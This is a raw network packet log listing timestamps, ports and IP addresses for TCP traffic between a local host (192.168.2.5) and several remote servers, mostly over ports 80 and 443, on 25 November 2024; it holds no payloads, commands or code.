Nov 25, 2024 16:21:41.657804966 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:41.657887936 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.658118963 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:41.658432007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.658502102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.658550024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.658596039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.659363031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.659432888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.673389912 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.674006939 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.674031973 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.674565077 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.674568892 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.699340105 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.788271904 CET	443	49838	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.789719105 CET	49838	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.789733887 CET	443	49838	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.791503906 CET	49838	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.791508913 CET	443	49838	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.796829939 CET	443	49839	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.797384024 CET	49839	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.797395945 CET	443	49839	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.797828913 CET	49839	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.797833920 CET	443	49839	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.800013065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.800060034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.800116062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.800348043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.800417900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.800466061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.800971985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.801026106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.801096916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.801141024 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.801995993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.802066088 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.802084923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.802115917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.802975893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.803047895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.803157091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.803209066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.803970098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.804040909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.804076910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.804116964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.804949999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.805022001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.805053949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.805094004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.805927992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.805990934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.806025982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.806065083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.807044029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.807130098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.807193995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.807282925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.807868958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.807985067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.808031082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.808921099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.808986902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.809020042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.809057951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.809856892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.809923887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.809998989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.810062885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.810834885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.810894012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.810955048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.811119080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.811805964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.811866045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.811898947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.811940908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.812828064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.812895060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.813186884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.813235998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.813788891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.813833952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.813878059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.814798117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.814866066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.814925909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.814969063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.815783024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.815848112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.815948963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.816004992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.816761017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.816854954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.816858053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.816895008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.817740917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.817823887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.817847967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.817888021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.818742990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.818794966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.818846941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.818927050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.819694996 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.819768906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.819813013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.819852114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.820713043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.820775032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.820835114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.820882082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.821717978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.821789980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.821799994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.821836948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.822823048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.822865009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.822947025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.822985888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.823713064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.823755980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.823779106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.823856115 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.824909925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.824954033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.825028896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.825154066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.826325893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.826339006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.826395988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.826795101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.826843977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.826899052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.826987982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.827756882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.827821016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.827883005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.827980995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.828901052 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.828963995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.829070091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.829129934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.829807043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.829844952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.829853058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.829879045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.830571890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.830626011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.830802917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.830957890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.831676006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.831687927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.831727982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.832551003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.832597971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.832650900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.832689047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.833492994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.833630085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.833682060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.834491968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.834547043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.834649086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.834728003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.835489988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.835551977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.835572958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.835611105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.836460114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.836508989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.836550951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.836591959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.837419033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.837483883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.837538004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.837579012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.838443041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.838510036 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.838527918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.838563919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.839389086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.839456081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.839503050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.839602947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.840399981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.840449095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.840452909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.840485096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.841368914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.841420889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.841489077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.841528893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.842417955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.842462063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.842525959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.842592955 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.843343019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.843389988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.843413115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.843478918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.844320059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.844367027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.844438076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.844496965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.845360994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.845386982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.845417976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.845438004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.846330881 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.846395016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.846402884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.846441984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.847292900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.847358942 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.847413063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.847501993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.851211071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.851253033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.851260900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.851265907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.851291895 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.851309061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.851394892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.851434946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.851448059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.851460934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.851473093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.851495981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.851535082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.868942976 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.868967056 CET	49801	443	192.168.2.5	3.160.188.18
Nov 25, 2024 16:21:41.869003057 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.869095087 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.869410038 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.869434118 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.869450092 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.869457960 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.875756025 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.875791073 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.875871897 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.876024961 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.876040936 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.911330938 CET	443	49801	3.160.188.18	192.168.2.5
Nov 25, 2024 16:21:41.976078033 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.976655960 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.976679087 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.977160931 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:41.977165937 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:41.977277040 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.977785110 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:41.977804899 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.978163004 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.981941938 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:41.981960058 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.982074976 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.982196093 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:41.982337952 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:41.982350111 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.983445883 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.983511925 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:41.988749981 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:41.988873959 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.989129066 CET	49842	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:41.989141941 CET	443	49842	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:41.991936922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.992013931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.992022991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.992049932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.992384911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.992451906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.992587090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.992630005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.992660046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.992713928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.993535995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.993637085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.993638039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.993674994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.994638920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.994651079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.994714975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.995513916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.995567083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.995637894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.995738029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.996500015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.996562004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.996611118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.996649981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.997476101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.997530937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.997598886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.997646093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.998548985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.998599052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.998653889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.998692989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.999414921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.999466896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:41.999495029 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:41.999598980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.000471115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.000520945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.000566006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.000731945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.001424074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.001477003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.001542091 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.001646996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.002389908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.002443075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.002506018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.002563000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.003436089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.003474951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.003506899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.003516912 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.004373074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.004426003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.004543066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.004652977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.005316019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.005367994 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.005435944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.005542040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.006345987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.006397009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.006475925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.006515026 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.007344961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.007396936 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.007404089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.007441998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.008328915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.008398056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.008425951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:42.008464098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:42.009283066 CET	80	49765	185.215.113.206	192.168.2.5
